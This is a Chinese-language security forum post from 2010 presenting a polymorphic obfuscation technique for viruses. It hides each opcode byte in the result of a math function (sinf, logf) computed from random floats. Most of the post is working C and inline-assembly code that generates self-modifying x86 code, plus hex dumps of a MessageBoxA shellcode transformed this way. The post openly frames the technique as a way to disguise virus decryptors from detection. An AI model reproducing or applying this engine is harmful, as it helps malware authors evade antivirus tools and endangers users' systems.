[原创]隐藏ploymorphic代码到数学函数中
发表于:
2010-10-1 16:13
10469
[原创]隐藏ploymorphic代码到数学函数中
本准备今天10.1出去玩,结果闷家了 。
还是发个帖子交流吧,顺便给www.vxjump.net 加点人气,一些搞安全技术的人搞的,大家多交流
不扯了看内容吧。
[0x01].简介
目前,病毒技术的多态技术手段仍然是以代码本身的变形为主,靠指令的运行中排列顺序的混淆,填充无效指令,等效指令等手段来完成对解密器的混淆。
下面介绍一个新的混淆手段,把polymorphic代码隐藏在数学运算函数的结果中,还记得spth的那篇《Hiding your virus in the matrix》吗,类似地我们都把
代码“藏”起来了。这里介绍一个最基本的利用sinf(正弦波)的实例,完美有效的隐藏运行还需要发挥更多的想象力。 [0x02].polymorphic设计
首先考虑的是传统的多态技术,需要的是对解密器的指令分解,然后重新组成功能相同但代码形态不同的”新代码“。现在我们要换个思路,直接对opcode进行
变形,如果对数学函数可以构造任意多个输入,都可以产生一个可对应的opcode字节,那么这些数字就是polymorphic的基础前提(每一次都可以变化这一硬性要求),
这样我们要运行的代码就转而变成了运行多个数学函数的等价情况了。
考虑一段常见入口代码:
00402B20 e> $ 55 push ebp
00402B21 . 8BEC mov ebp,esp
00402B23 . 6A FF push -1
00402B25 68 db 68 ; CHAR 'h'
...
如果它是由以下方式得来的:
function 表示某一个数学函数
rand() 表示任意一个随机数字
math.function(rand()) ------> opcode (0x55)
math.function(rand()) ------> opcode (0x8b)
math.function(rand()) ------> opcode (0xec)
math.function(rand()) ------> opcode (0x6a)
math.function(rand()) ------> opcode (0xff)
math.function(rand()) ------> opcode (0x68)
下面看一个有规律性的运行结果:
按照opcode从0x00 ~ 0xff 开始当作输入,调用sinf函数的计算结果
emu opcode[00]:0.000000
emu opcode[01]:0.841471
emu opcode[02]:0.909297
emu opcode[03]:0.141120
emu opcode[04]:-0.756802
emu opcode[05]:-0.958924
emu opcode[06]:-0.279415
emu opcode[07]:0.656987
emu opcode[08]:0.989358
emu opcode[09]:0.412118
...
emu opcode[f0]:0.945445
emu opcode[f1]:0.784962
emu opcode[f2]:-0.097212
emu opcode[f3]:-0.890009
emu opcode[f4]:-0.864536
emu opcode[f5]:-0.044213
emu opcode[f6]:0.816760
emu opcode[f7]:0.926807
emu opcode[f8]:0.184752
emu opcode[f9]:-0.727163
emu opcode[fa]:-0.970528
emu opcode[fb]:-0.321594
emu opcode[fc]:0.623012
emu opcode[fd]:0.994824
emu opcode[fe]:0.451999
emu opcode[ff]:-0.506392
如果使输入的opcode值加上一个很小的浮点数值,所得到的结果上会有微小的变化,但开头的数字基本不会太大变化,但显然,我们还是很难总结出一个微小变化
的opcode(opcode + 浮点小数)和输出之间的关系。因为我们希望它的输出映射空间也是0x00 ~ 0xff。
所以要反过来思考,一个给定的opcod,我们可以构造一个输入值空间,使得它的计算结果符合opcode。
也就是类似这样的形式: 0xff = f(asinf(-0.506392))
f:是一个算法使得“反sinf"输入为-0.506392,得到0xff
整体的polymorphic思路就是:
math.function_1(rand())-------
math.function_2(rand()) \
math.function_3(rand()) | 随机使用其中一个 f(output)
math.function_4(rand()) --------------------------> output ----------------> opcode中的一个字节
math.function_5(rand()) |
... |
math.function_n(rand())-------/
基本的问我们已经解决了,就剩具体的动手工作了。
2.1 - 随机数字的选择
为了产生的效果更好些,我们需要随机化的一个浮点数(math库里的函数基本都是float,double类型的输入),rand随机数的空间是整数,要产生一个随机
浮点数我们可以利用相除的情况,见下面代码:
// ----------------------------------------------------------------------------------------------------------------------------------------------------
#define MAX_MULTIPLE 10000
srand(time(0));
for(int i = 0 ; i < 0xff ;i++)
{
float r = (double)rand();
float r2 = (double)rand();
if (r2)
{
r = r/r2 ; //产生一个随机的浮点数
r = save_dot_float(r,5); //仅保留5位,按四舍五入保留
float x = i;
float y;
int v;
x += r;
y = sinf(x);
y *= MAX_MULTIPLE; //sinf产生的是浮点数,我们把它扩大10000倍变成整数
v = (int)y;
v &= 0x000000ff; //取整数的末尾1个字节做opcode
if (c/*要找到opcode*/== v)
{
printf("find data:%0xf\n");
}
}
}
float save_dot_float(float f, int n)
{
int i = (int)f;
int p = pow(10.0f, n);
float ft = (f - i) * p;
if((ft-(int)ft)>0.4)
{
ft += 1;
}
return ((int)ft)/(float)p;
}
// ----------------------------------------------------------------------------------------------------------------------------------------------------
这里就可以产生类似下面的整数值
emu opcode[0.324730]:c[76]
emu opcode[1.417730]:26[9b]
emu opcode[2.741400]:f[37]
emu opcode[3.487240]:fffff2[c4]
emu opcode[4.966580]:ffffda[32]
emu opcode[5.630260]:ffffe8[45]
emu opcode[6.651100]:e[0c]
emu opcode[7.685790]:26[82]
emu opcode[8.227840]:24[5d]
emu opcode[9.100420]:c[73]
emu opcode[10.453730]:ffffde[89]
...
括起来的就是要查找的opcode值。
[0x03].函数的选择
由于输入的参数是浮点值,首先要考虑的是浮点值在内存中的存储格式问题。
IEEE754标准中规定,float的32位是这样分类的:符号位(S) 1 位;阶码(E) 8 位 ;尾数(M) 23 位。
32bit float值的格式是 : SEEEEEEEEMMMMMMMMMMMMMMMMMMMMMM
关于float的内存表示形式可详细参考这方面的文章例如《浮点数内存表示形式》.
现在的问题是数学函数中的参数是要将一个浮点数转换成hex的格式的,而不是我们平时内存中所表达的十六进制格式,为了简化处理,我们选择那些输入参数
都是float的函数。
Math.acosf() 计算反余弦值。
Math.asinf() 计算反正弦值。
Math.atanf() 计算反正切值。
Math.atan2f() 计算从 x 坐标轴到点的角度。
Math.ceil() 将数字向上舍入为最接近的整数。
Math.cosf() 计算余弦值。
Math.exp() 计算指数值。
Math.floor() 将数字向下舍入为最接近的整数。
Math.log() 计算自然对数。
Math.pow() 计算 x 的 y 次方。
Math.round() 四舍五入为最接近的整数。
Math.sinf() 计算正弦值。
Math.sqrt() 计算平方根。
Math.tanf() 计算正切值。
...
随机的组合这些函数即可。
[0x04].生产多态代码
首先看一个浮点数的计算过程,假设要计算的浮点数值为172.527252,计算过程如下:
float x = (10000 * sinf(172.527252)) ;
int y = (int)x;
y &= 0x000000ff;
以上获得输出y的最后一个字节。
对应汇编代码如下
00402D5D 68 FA 86 2C 43 push 432C86FAh
00402D62 E8 F8 E2 FF FF call _sinf(0040105f)
00402D67 83 C4 04 add esp,4
00402D6A D8 0D A0 50 41 00 fmul dword ptr [__real@4@400c9c40000000000000 (004150a0)]
00402D70 D9 55 F8 fst dword ptr [ebp-8]
00402D73 E8 58 FD FF FF call _ftol (00402ad0)
00402D78 89 45 F4 mov dword ptr [ebp-0Ch],eax
00402D7B 8B 45 F4 mov eax,dword ptr [ebp-0Ch]
00402D7E 25 FF 00 00 00 and eax,0FFh
00402D83 89 45 F4 mov dword ptr [ebp-0Ch],eax
也就是我们产生的多态代码要和上面的类似,最后eax中的值也就是我们要的opcode值。我们将它写入一个新的内存空间中。
也就是如下的整体过程,并将这些代码写入poly_math空间
pushad
pushfd
mov edi,jump_code ;//将要生成代码的空间地址赋值给edi
//产生一组计算函数调用的计算结果,将它写入edi中,
call ...
mov [edi],eax
inc edi
call ...
mov [edi],eax
inc edi
call ...
mov [edi],eax
inc edi
call ...
mov [edi],eax
inc edi
call ...
mov [edi],eax
inc edi
...
jmp jump_code ;//运行被计算生产后的代码
4.1 - 重定位问题
在产生的多态代码中要调用sinf函数,但每产生的一个代码都要计算一个相对跳转,所以可以写一个简单的处理函数。用来处理重定位
unsigned int get_reloc_offset(unsigned int x1,unsigned int x2)
{
//格式
//x1 ------- call x2
x2 -= x1;
x2 -= 5;
return x2;
}
例如,如果要产生一个call sinf代码,*t 表示当前数组的索引。
//call logf
off = get_reloc_offset((unsigned int)(&poly_math[0] + *t),(unsigned int)sinf);
poly_math[(*t)++ ] = 0xe8;
poly_math[(*t)++ ] = *((char *)&off);
poly_math[(*t)++ ] = *((char *)&off + 1);
poly_math[(*t)++ ] = *((char *)&off + 2);
poly_math[(*t)++ ] = *((char *)&off + 3);
4.2 - _ftol获得
_ftol 是一个函数库中未导出的函数,没有简单的办法调用它,但它确是我们要生产poly代码必不可少的东西,所以需要是自己的实现。关于_ftol 这个
函数云风曾写过一个优化版,这个版本的实现如下,
int ftol(float f)
{
int a = *(int*)(&f);
int sign = (a>>31);
int mantissa = (a&((1<<23)-1))|(1<<23);
int exponent = ((a&0x7fffffff)>>23)-127;
int r = ((unsigned int)(mantissa)<<8)>>(31-exponent);
return ((r ^ (sign)) - sign ) &~ (exponent>>31);
}
但为了方便poly代码生成,我还是使用系统自带的实现。
__declspec(naked) my_ftol()
{
__asm
{
mov ebp,esp
add esp,0FFFFFFF4h
wait
fnstcw word ptr [ebp-2]
wait
mov ax,word ptr [ebp-2]
or ah,0Ch
mov word ptr [ebp-4],ax
fldcw word ptr [ebp-4]
fistp qword ptr [ebp-0Ch]
fldcw word ptr [ebp-2]
mov eax,dword ptr [ebp-0Ch]
mov edx,dword ptr [ebp-8]
leave
sub esp,4 // 注意,这里是自己加入的,因为是我们改写了调用,故需要恢复一下堆栈平衡。
ret
}
}
4.3 - 计算中的优化
大家会注意到这样一条语句
fmul dword ptr [__real@4@400c9c40000000000000 (004150a0)]
我们 10000 * sinf(172.527252) 中的10000被__real@4@400c9c40000000000000所替代,编译器会为这块的相乘的任意数值都分配一个空间来存放一个
编译阶段就已经计算好的数值,用于和fmul做乘法运算,也就是
004150a0 __real@4@400c9c40000000000000 00 40 1c 46(这个计算好的浮点值就是10000)
所以我们也要有个这样一个值来模拟这块的运算
//fmul dword ptr [__real@(10000)]
float_to_hex(10000,&g_mul);
d = (unsigned long)&g_mul;
poly_math[(*t)++ ] = 0xd8; // imul 10000
poly_math[(*t)++ ] = 0x0d;
poly_math[(*t)++ ] = *((char *)&d);
poly_math[(*t)++ ] = *((char *)&d + 1);
poly_math[(*t)++ ] = *((char *)&d + 2);
poly_math[(*t)++ ] = *((char *)&d + 3);
void float_to_hex(float f,unsigned long *push_data)
{
unsigned char ba[4]={0};
memcpy(&ba[0],&f,4);
for(int i = 3 ; i >= 0 ; i--)
{
*((char *)push_data+i) = ba[i];
}
}
4.4 - 生成一个计算过程
// x -- 产生指定的opcode时,对应的随机浮点数
// *t -- poly_math 数组对应的当前索引值
void wirte_code(float x,int *t)
{
int off;
unsigned long d;
float_to_hex(x,&d);
// push y (转换浮点到hex后的值)
poly_math[(*t)++ ] = 0x68 ;
poly_math[(*t)++ ] = *((char *)&d);
poly_math[(*t)++ ] = *((char *)&d + 1);
poly_math[(*t)++ ] = *((char *)&d + 2);
poly_math[(*t)++ ] = *((char *)&d + 3);
//call sinf
off = get_reloc_offset((unsigned int)(&poly_math[0] + *t),(unsigned int)sinf);
poly_math[(*t)++ ] = 0xe8;
poly_math[(*t)++ ] = *((char *)&off);
poly_math[(*t)++ ] = *((char *)&off + 1);
poly_math[(*t)++ ] = *((char *)&off + 2);
poly_math[(*t)++ ] = *((char *)&off + 3);
//add esp,4
poly_math[(*t)++ ] = 0x83;
poly_math[(*t)++ ] = 0xc4;
poly_math[(*t)++ ] = 0x04;
//fmul dword ptr [__real@(10000)] 中间运行结果也会被转换存储
float_to_hex(10000,&g_mul);
d = (unsigned long)&g_mul;
poly_math[(*t)++ ] = 0xd8; // imul 10000
poly_math[(*t)++ ] = 0x0d;
poly_math[(*t)++ ] = *((char *)&d);
poly_math[(*t)++ ] = *((char *)&d + 1);
poly_math[(*t)++ ] = *((char *)&d + 2);
poly_math[(*t)++ ] = *((char *)&d + 3);
//fst dword ptr [ebp-4]
poly_math[(*t)++ ] = 0xd9;
poly_math[(*t)++ ] = 0x55;
poly_math[(*t)++ ] = 0xfc; //call my_ftol
off = get_reloc_offset((unsigned int)(&poly_math[0] + *t),(unsigned int)my_ftol);
poly_math[(*t)++ ] = 0xe8;
poly_math[(*t)++ ] = *((char *)&off);
poly_math[(*t)++ ] = *((char *)&off + 1);
poly_math[(*t)++ ] = *((char *)&off + 2);
poly_math[(*t)++ ] = *((char *)&off + 3);
// eax,0FFh
poly_math[(*t)++ ] = 0x25;
poly_math[(*t)++ ] = 0xff;
poly_math[(*t)++ ] = 0x00;
poly_math[(*t)++ ] = 0x00;
poly_math[(*t)++ ] = 0x00;
// mov dword ptr ds:[edi],eax
poly_math[(*t)++ ] = 0x89;
poly_math[(*t)++ ] = 0x07;
//inc edi
poly_math[(*t)++ ] = 0x47;
}
这里测试的例子选用了xpsp3下的87字节 MessageBoxA的shellcode。
// 原shellcode代码
00416548 >31 C0 31 DB 31 C9 31 D2 51 68 6C 6C 20 20 68 33 1???襋hll h3
00416558 32 2E 64 68 75 73 65 72 89 E1 BB 7B 1D 80 7C 51 2.dhuser夅粄€|Q
00416568 FF D3 B9 5E 67 30 EF 81 C1 11 11 11 11 51 68 61 庸^g0飦?Qha
00416578 67 65 42 68 4D 65 73 73 89 E1 51 50 BB 40 AE 80 geBhMess夅QP籃畝
00416588 7C FF D3 89 E1 31 D2 52 51 51 52 FF D0 31 C0 50 |訅?襌QQR?繮
00416598 B8 12 CB 81 7C FF D0 00 00 00 00 00 00 00 00 00 ?藖|?........
004165A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
004165B8 >10 59 2F B6 28 65 D1 11 96 11 00 00 F8 1E Y/?e??..?..
下面是对shellcode代码,进行两个多态后的数据对比.
// -- 单一使用sinf 情况
00416758 >60 9C BF F4 66 41 00 68 D8 61 80 42 E8 00 A9 FE `溈鬴A.h豠€B?
00416768 FF 83 C4 04 D8 0D F0 66 41 00 D9 55 FC E8 9F A8 兡?餱A.賃煥
00416778 FE FF 25 FF 00 00 00 89 07 47 68 B5 ED 02 43 E8 ?%...?Gh淀C
00416788 DD A8 FE FF 83 C4 04 D8 0D F0 66 41 00 D9 55 FC 莰?兡?餱A.賃
00416798 E8 7C A8 FE FF 25 FF 00 00 00 89 07 47 68 D8 61 鑭%...?Gh豠
004167A8 80 42 E8 BA A8 FE FF 83 C4 04 D8 0D F0 66 41 00 €B韬兡?餱A.
004167B8 D9 55 FC E8 59 A8 FE FF 25 FF 00 00 00 89 07 47 賃Y%...?G
004167C8 68 18 09 06 42 E8 97 A8 FE FF 83 C4 04 D8 0D F0 h.B钘兡?
004167D8 66 41 00 D9 55 FC E8 36 A8 FE FF 25 FF 00 00 00 fA.賃6%...
004167E8 89 07 47 68 0B F2 49 43 E8 74 A8 FE FF 83 C4 04 ?Gh
004167F8 D8 0D F0 66 41 00 D9 55 FC E8 13 A8 FE FF 25 FF ?餱A.賃%
00416808 00 00 00 89 07 47 68 82 E2 90 42 E8 51 A8 FE FF ...?Gh傗怋鑁
00416818 83 C4 04 D8 0D F0 66 41 00 D9 55 FC E8 F0 A7 FE 兡?餱A.賃皈
00416828 FF 25 FF 00 00 00 89 07 47 68 0B F2 49 43 E8 2E %...?G
00416838 A8 FE FF 83 C4 04 D8 0D F0 66 41 00 D9 55 FC E8 兡?餱A.賃
00416848 CD A7 FE FF 25 FF 00 00 00 89 07 47 68 E5 73 DD 艇?%...?Gh錽
00416858 41 E8 0B A8 FE FF 83 C4 04 D8 0D F0 66 41 00 D9 A?兡?餱A.
00416868 55 FC E8 AA A7 FE FF 25 FF 00 00 00 89 07 47 68 U?%...?Gh
00416878 55 87 AA 42 E8 E8 A7 FE FF 83 C4 04 D8 0D F0 66 U嚜B梃兡?餱
00416888 41 00 D9 55 FC E8 87 A7 FE FF 25 FF 00 00 00 89 A.賃嚙?%...
00416898 07 47 68 81 AB 5F 43 E8 C5 A7 FE FF 83 C4 04 D8 Gh伀_C枧兡
...
// -- 单一使用logf 情况
00416758 >60 9C BF F4 66 41 00 68 38 2A 49 43 E8 F6 A8 FE `溈鬴A.h8*IC桷
00416768 FF 83 C4 04 D8 0D F0 66 41 00 D9 55 FC E8 9F A8 兡?餱A.賃煥
00416778 FE FF 25 FF 00 00 00 89 07 47 68 73 EB 38 42 E8 ?%...?Ghs?B
00416788 D3 A8 FE FF 83 C4 04 D8 0D F0 66 41 00 D9 55 FC 莹?兡?餱A.賃
00416798 E8 7C A8 FE FF 25 FF 00 00 00 89 07 47 68 38 2A 鑭%...?Gh8*
004167A8 49 43 E8 B0 A8 FE FF 83 C4 04 D8 0D F0 66 41 00 IC璋兡?餱A.
004167B8 D9 55 FC E8 59 A8 FE FF 25 FF 00 00 00 89 07 47 賃Y%...?G
004167C8 68 E3 C5 74 43 E8 8D A8 FE FF 83 C4 04 D8 0D F0 h闩tC鑽兡?
004167D8 66 41 00 D9 55 FC E8 36 A8 FE FF 25 FF 00 00 00 fA.賃6%...
004167E8 89 07 47 68 38 2A 49 43 E8 6A A8 FE FF 83 C4 04 ?Gh8*IC鑚
004167F8 D8 0D F0 66 41 00 D9 55 FC E8 13 A8 FE FF 25 FF ?餱A.賃%
00416808 00 00 00 89 07 47 68 E8 AA 0B 42 E8 47 A8 FE FF ...?Gh瑾
00416818 83 C4 04 D8 0D F0 66 41 00 D9 55 FC E8 F0 A7 FE 兡?餱A.賃皈
00416828 FF 25 FF 00 00 00 89 07 47 68 38 2A 49 43 E8 24 %...?Gh8*IC?
00416838 A8 FE FF 83 C4 04 D8 0D F0 66 41 00 D9 55 FC E8 兡?餱A.賃
00416848 CD A7 FE FF 25 FF 00 00 00 89 07 47 68 6A C1 43 艇?%...?Ghj罜
00416858 41 E8 01 A8 FE FF 83 C4 04 D8 0D F0 66 41 00 D9 A?兡?餱A.
00416868 55 FC E8 AA A7 FE FF 25 FF 00 00 00 89 07 47 68 U?%...?Gh
00416878 AB 08 A9 42 E8 DE A7 FE FF 83 C4 04 D8 0D F0 66 ?〣柁兡?餱
00416888 41 00 D9 55 FC E8 87 A7 FE FF 25 FF 00 00 00 89 A.賃嚙?%...
00416898 07 47 68 3A 52 3B 43 E8 BB A7 FE FF 83 C4 04 D8 Gh:R;C杌兡
如果每次选择不同的数字函数进行变化,就可以产生完全不相同polymorphic代码了。
[0x06].其他
扩展一下思路大家就会发现这样的变形方式适合很多领域和不同情况的组合,只要任意发挥就会有意想不到的结果。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
上传的附件: